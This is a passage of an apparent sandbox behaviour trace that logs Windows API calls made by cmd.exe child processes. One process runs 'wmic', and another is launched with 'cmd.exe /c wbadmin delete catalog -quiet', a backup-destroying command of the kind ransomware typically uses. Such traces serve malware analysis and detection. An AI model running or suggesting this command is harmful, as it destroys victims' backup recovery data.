[0038.030] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.030] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.030] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.030] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.030] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.030] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.030] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.030] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.030] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.030] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.030] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.030] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.031] GetProcessHeap () returned 0x5b0000 [0038.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2ac8 | out: hHeap=0x5b0000) returned 1 [0038.031] GetEnvironmentStringsW () returned 0x5c2208* [0038.031] GetProcessHeap () returned 0x5b0000 [0038.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xae2) returned 0x5c4b68 [0038.031] FreeEnvironmentStringsW (penv=0x5c2208) returned 1 [0038.031] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.031] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.031] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.031] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.031] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.031] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.031] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.031] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.031] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.031] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.031] GetProcessHeap () returned 0x5b0000 [0038.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x54) returned 0x5c5658 [0038.031] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28f720 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28f720, lpFilePart=0x28f71c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f71c*="Desktop") returned 0x25 [0038.031] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.031] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f49c | out: lpFindFileData=0x28f49c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5c1e70 [0038.032] FindClose (in: hFindFile=0x5c1e70 | out: hFindFile=0x5c1e70) returned 1 [0038.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f49c | out: lpFindFileData=0x28f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5c1e70 [0038.032] FindClose (in: hFindFile=0x5c1e70 | out: hFindFile=0x5c1e70) returned 1 [0038.032] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f49c | out: lpFindFileData=0x28f49c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5c1e70 [0038.032] FindClose (in: hFindFile=0x5c1e70 | out: hFindFile=0x5c1e70) returned 1 [0038.032] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.032] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.032] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.032] GetProcessHeap () returned 0x5b0000 [0038.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4b68 | out: hHeap=0x5b0000) returned 1 [0038.032] GetEnvironmentStringsW () returned 0x5c4078* [0038.032] GetProcessHeap () returned 0x5b0000 [0038.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb36) returned 0x5c5eb8 [0038.032] FreeEnvironmentStringsW (penv=0x5c4078) returned 1 [0038.032] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.033] GetProcessHeap () returned 0x5b0000 [0038.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c5658 | out: hHeap=0x5b0000) returned 1 [0038.033] GetProcessHeap () returned 0x5b0000 [0038.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x400e) returned 0x5c69f8 [0038.033] GetProcessHeap () returned 0x5b0000 [0038.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3a) returned 0x5c1e70 [0038.033] GetProcessHeap () returned 0x5b0000 [0038.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c69f8 | out: hHeap=0x5b0000) returned 1 [0038.033] GetConsoleOutputCP () returned 0x1b5 [0038.782] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.782] GetUserDefaultLCID () returned 0x409 [0038.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0038.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28f860, cchData=128 | out: lpLCData="0") returned 2 [0038.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28f860, cchData=128 | out: lpLCData="0") returned 2 [0038.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28f860, cchData=128 | out: lpLCData="1") returned 2 [0038.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0038.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.784] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0038.784] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0038.784] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.785] GetProcessHeap () returned 0x5b0000 [0038.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20c) returned 0x5c2d80 [0038.785] GetConsoleTitleW (in: lpConsoleTitle=0x5c2d80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.786] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.786] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0038.786] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0038.786] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0038.786] GetProcessHeap () returned 0x5b0000 [0038.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x400a) returned 0x5c69f8 [0038.786] GetProcessHeap () returned 0x5b0000 [0038.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c69f8 | out: hHeap=0x5b0000) returned 1 [0038.787] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0038.787] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0038.787] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0038.787] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0038.787] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0038.787] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0038.787] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0038.787] GetProcessHeap () returned 0x5b0000 [0038.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x58) returned 0x5c2f98 [0038.787] GetProcessHeap () returned 0x5b0000 [0038.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5c2ff8 [0038.787] GetProcessHeap () returned 0x5b0000 [0038.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2e) returned 0x5c3018 [0038.788] GetConsoleTitleW (in: lpConsoleTitle=0x28f558, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.788] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0038.788] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0038.788] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0038.788] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0038.788] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0038.788] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0038.788] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0038.788] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0038.789] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0038.789] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0038.789] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0038.789] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0038.789] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0038.789] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0038.789] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0038.789] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0038.789] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0038.789] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0038.789] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0038.789] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0038.789] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0038.789] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0038.789] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0038.789] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0038.789] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0038.789] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0038.789] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0038.789] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0038.789] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0038.789] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0038.789] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0038.789] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0038.789] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0038.789] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0038.789] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0038.789] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0038.789] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0038.789] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0038.789] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0038.789] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0038.789] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0038.789] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0038.789] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0038.789] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0038.790] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0038.790] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0038.790] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0038.790] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0038.790] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0038.790] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0038.790] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0038.790] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0038.790] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0038.790] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0038.790] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0038.790] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0038.790] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0038.790] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0038.790] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0038.790] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0038.790] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0038.790] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0038.790] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0038.790] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0038.790] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0038.790] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0038.790] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0038.790] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0038.790] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0038.790] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0038.790] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0038.790] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0038.790] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0038.790] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0038.790] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0038.790] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0038.790] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0038.790] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0038.790] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0038.790] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0038.790] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0038.791] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0038.791] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0038.791] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0038.791] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0038.791] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0038.791] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0038.791] GetProcessHeap () returned 0x5b0000 [0038.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x210) returned 0x5c3050 [0038.791] GetProcessHeap () returned 0x5b0000 [0038.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x38) returned 0x5c3268 [0038.791] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0038.791] GetProcessHeap () returned 0x5b0000 [0038.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x418) returned 0x5b07f0 [0038.791] SetErrorMode (uMode=0x0) returned 0x0 [0038.791] SetErrorMode (uMode=0x1) returned 0x0 [0038.791] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5b07f8, lpFilePart=0x28f078 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f078*="Desktop") returned 0x25 [0038.791] SetErrorMode (uMode=0x0) returned 0x1 [0038.791] GetProcessHeap () returned 0x5b0000 [0038.791] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5b07f0, Size=0x5e) returned 0x5b07f0 [0038.791] GetProcessHeap () returned 0x5b0000 [0038.792] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b07f0) returned 0x5e [0038.792] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.792] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.792] GetProcessHeap () returned 0x5b0000 [0038.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x120) returned 0x5c32a8 [0038.792] GetProcessHeap () returned 0x5b0000 [0038.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x238) returned 0x5b0858 [0038.798] GetProcessHeap () returned 0x5b0000 [0038.798] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5b0858, Size=0x122) returned 0x5b0858 [0038.798] GetProcessHeap () returned 0x5b0000 [0038.798] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b0858) returned 0x122 [0038.798] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.798] GetProcessHeap () returned 0x5b0000 [0038.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xe0) returned 0x5c33d0 [0039.483] GetConsoleTitleW (in: lpConsoleTitle=0x28f2ec, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.516] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f174, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f23c | out: lpAttributeList=0x28f174, lpSize=0x28f23c) returned 1 [0039.517] UpdateProcThreadAttribute (in: lpAttributeList=0x28f174, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f234, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f174, lpPreviousValue=0x0) returned 1 [0039.517] GetStartupInfoW (in: lpStartupInfo=0x28f130 | out: lpStartupInfo=0x28f130*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0039.864] CloseHandle (hObject=0x74) returned 1 [0039.864] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0039.864] GetProcessHeap () returned 0x5b0000 [0039.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c5eb8 | out: hHeap=0x5b0000) returned 1 [0039.864] GetEnvironmentStringsW () returned 0x5c5eb8* [0039.864] GetProcessHeap () returned 0x5b0000 [0039.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb36) returned 0x5c4078 [0039.864] FreeEnvironmentStringsW (penv=0x5c5eb8) returned 1 [0039.864] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0073.229] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x28f110 | out: lpExitCode=0x28f110*=0x80041014) returned 1 [0073.229] CloseHandle (hObject=0x78) returned 1 [0073.229] _vsnwprintf (in: _Buffer=0x28f258, _BufferCount=0x13, _Format="%08X", _ArgList=0x28f11c | out: _Buffer="80041014") returned 8 [0073.229] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0073.230] GetProcessHeap () returned 0x5b0000 [0073.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4078 | out: hHeap=0x5b0000) returned 1 [0073.230] GetEnvironmentStringsW () returned 0x5c4078* [0073.230] GetProcessHeap () returned 0x5b0000 [0073.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb5c) returned 0x5c9560 [0073.230] FreeEnvironmentStringsW (penv=0x5c4078) returned 1 [0073.230] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.230] GetProcessHeap () returned 0x5b0000 [0073.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c9560 | out: hHeap=0x5b0000) returned 1 [0073.230] GetEnvironmentStringsW () returned 0x5c4078* [0073.230] GetProcessHeap () returned 0x5b0000 [0073.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb5c) returned 0x5c9560 [0073.230] FreeEnvironmentStringsW (penv=0x5c4078) returned 1 [0073.230] GetProcessHeap () returned 0x5b0000 [0073.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bfec8 | out: hHeap=0x5b0000) returned 1 [0073.230] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f174 | out: lpAttributeList=0x28f174) [0073.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0073.230] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0073.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0073.231] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0073.231] _get_osfhandle (_FileHandle=0) returned 0x3 [0073.231] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0073.231] SetConsoleInputExeNameW () returned 0x1 [0073.231] GetConsoleOutputCP () returned 0x1b5 [0073.231] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0073.231] SetThreadUILanguage (LangId=0x0) returned 0x409 [0073.231] exit (_Code=-2147217388) Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x31dad000" os_pid = "0x35c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "cmd.exe /c wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0x240 [0038.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x34fe8c | out: lpSystemTimeAsFileTime=0x34fe8c*(dwLowDateTime=0xa7b2f460, dwHighDateTime=0x1d5e09d)) [0038.243] GetCurrentProcessId () returned 0x35c [0038.243] GetCurrentThreadId () returned 0x240 [0038.244] GetTickCount () returned 0x1154ad6 [0038.244] QueryPerformanceCounter (in: lpPerformanceCount=0x34fe84 | out: lpPerformanceCount=0x34fe84*=18011468189) returned 1 [0038.245] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0038.245] __set_app_type (_Type=0x1) [0038.245] __p__fmode () returned 0x76be31f4 [0038.245] __p__commode () returned 0x76be31fc [0038.245] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0038.245] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0038.245] GetCurrentThreadId () returned 0x240 [0038.245] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x240) returned 0x60 [0038.245] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.245] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0038.246] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.246] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.246] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x34fe1c | out: phkResult=0x34fe1c*=0x0) returned 0x2 [0038.246] VirtualQuery (in: lpAddress=0x34fe53, lpBuffer=0x34fdec, dwLength=0x1c | out: lpBuffer=0x34fdec*(BaseAddress=0x34f000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.246] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x34fdec, dwLength=0x1c | out: lpBuffer=0x34fdec*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.246] VirtualQuery (in: lpAddress=0x251000, lpBuffer=0x34fdec, dwLength=0x1c | out: lpBuffer=0x34fdec*(BaseAddress=0x251000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 